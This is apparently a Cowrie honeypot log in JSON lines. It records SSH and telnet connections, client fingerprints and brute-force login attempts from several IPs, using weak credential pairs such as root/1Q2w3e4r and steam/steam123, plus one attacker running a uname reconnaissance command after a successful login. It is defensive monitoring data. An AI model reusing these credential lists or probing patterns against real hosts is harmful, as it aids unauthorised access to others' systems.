{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:06.613454Z","src_ip":"80.94.92.184","session":"6e9ba18d3aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:06.620960Z","src_ip":"80.94.92.184","session":"6e9ba18d3aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:06.745996Z","src_ip":"172.237.20.62","session":"303bdde7b692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:07.829590Z","src_ip":"80.94.92.184","session":"6e9ba18d3aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:09.092655Z","src_ip":"80.94.92.184","session":"6e9ba18d3aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51466,"dst_ip":"159.203.135.109","dst_port":22,"session":"061ac5a9c336","protocol":"ssh","message":"New connection: 172.237.20.62:51466 (159.203.135.109:22) [session: 061ac5a9c336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:15.875958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:15.880903Z","src_ip":"172.237.20.62","session":"061ac5a9c336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:16.042215Z","src_ip":"172.237.20.62","session":"061ac5a9c336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:16.523654Z","src_ip":"172.237.20.62","session":"061ac5a9c336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:17.685792Z","src_ip":"172.237.20.62","session":"061ac5a9c336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56608,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed75bf85aade","protocol":"ssh","message":"New connection: 172.237.20.62:56608 (159.203.135.109:22) [session: ed75bf85aade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:27.143788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:27.147339Z","src_ip":"172.237.20.62","session":"ed75bf85aade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:27.309743Z","src_ip":"172.237.20.62","session":"ed75bf85aade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:27.798466Z","src_ip":"172.237.20.62","session":"ed75bf85aade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:28.964383Z","src_ip":"172.237.20.62","session":"ed75bf85aade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35078,"dst_ip":"159.203.135.109","dst_port":22,"session":"eecefaa96b0c","protocol":"ssh","message":"New connection: 172.237.20.62:35078 (159.203.135.109:22) [session: eecefaa96b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:38.032138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:38.041270Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:38.201747Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:38.725193Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:39.086338Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:39.090127Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:39.252170Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:39.256404Z","src_ip":"172.237.20.62","session":"eecefaa96b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51418,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba41a2bdb2e","protocol":"telnet","message":"New connection: 45.58.127.90:51418 (10.17.0.5:23) [session: 2ba41a2bdb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:47.316783Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51948,"dst_ip":"159.203.135.109","dst_port":22,"session":"e264c5a1b3ff","protocol":"ssh","message":"New connection: 172.237.20.62:51948 (159.203.135.109:22) [session: e264c5a1b3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:49.051650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:49.056867Z","src_ip":"172.237.20.62","session":"e264c5a1b3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:49.215780Z","src_ip":"172.237.20.62","session":"e264c5a1b3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:49.932462Z","src_ip":"172.237.20.62","session":"e264c5a1b3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:51.096309Z","src_ip":"172.237.20.62","session":"e264c5a1b3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.121.86.160","src_port":25252,"dst_ip":"159.203.135.109","dst_port":23,"session":"d190fadb7427","protocol":"telnet","message":"New connection: 168.121.86.160:25252 (159.203.135.109:23) [session: d190fadb7427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:55.369732Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36342,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff9bb584cd9","protocol":"telnet","message":"New connection: 45.58.127.90:36342 (10.17.0.5:23) [session: 2ff9bb584cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:57.417264Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36946,"dst_ip":"10.17.0.5","dst_port":23,"session":"7899c1f51070","protocol":"telnet","message":"New connection: 45.58.127.90:36946 (10.17.0.5:23) [session: 7899c1f51070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:59.734538Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43482,"dst_ip":"159.203.135.109","dst_port":22,"session":"c72c5d74baba","protocol":"ssh","message":"New connection: 172.237.20.62:43482 (159.203.135.109:22) [session: c72c5d74baba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:59.920862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:59.925487Z","src_ip":"172.237.20.62","session":"c72c5d74baba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:00.086916Z","src_ip":"172.237.20.62","session":"c72c5d74baba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:00.579654Z","src_ip":"172.237.20.62","session":"c72c5d74baba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":37929,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c4eeda43331","protocol":"ssh","message":"New connection: 213.209.159.56:37929 (159.203.135.109:22) [session: 7c4eeda43331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:01.449934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:01.454756Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:01.540466Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:01.744806Z","src_ip":"172.237.20.62","session":"c72c5d74baba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani","message":"login attempt [shivani/shivani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:01.940415Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani1","message":"login attempt [shivani/shivani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:03.027220Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36952,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabf79e2e5d7","protocol":"telnet","message":"New connection: 45.58.127.90:36952 (10.17.0.5:23) [session: eabf79e2e5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:03.656805Z"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani123","message":"login attempt [shivani/shivani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:04.112003Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani1234","message":"login attempt [shivani/shivani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:05.202150Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shivani","password":"shivani12345","message":"login attempt [shivani/shivani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:06.288762Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36958,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdb5b38c4fe0","protocol":"telnet","message":"New connection: 45.58.127.90:36958 (10.17.0.5:23) [session: cdb5b38c4fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:07.360232Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:07.373510Z","src_ip":"213.209.159.56","session":"7c4eeda43331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36962,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67e228e1ef5","protocol":"telnet","message":"New connection: 45.58.127.90:36962 (10.17.0.5:23) [session: e67e228e1ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:07.493589Z"}
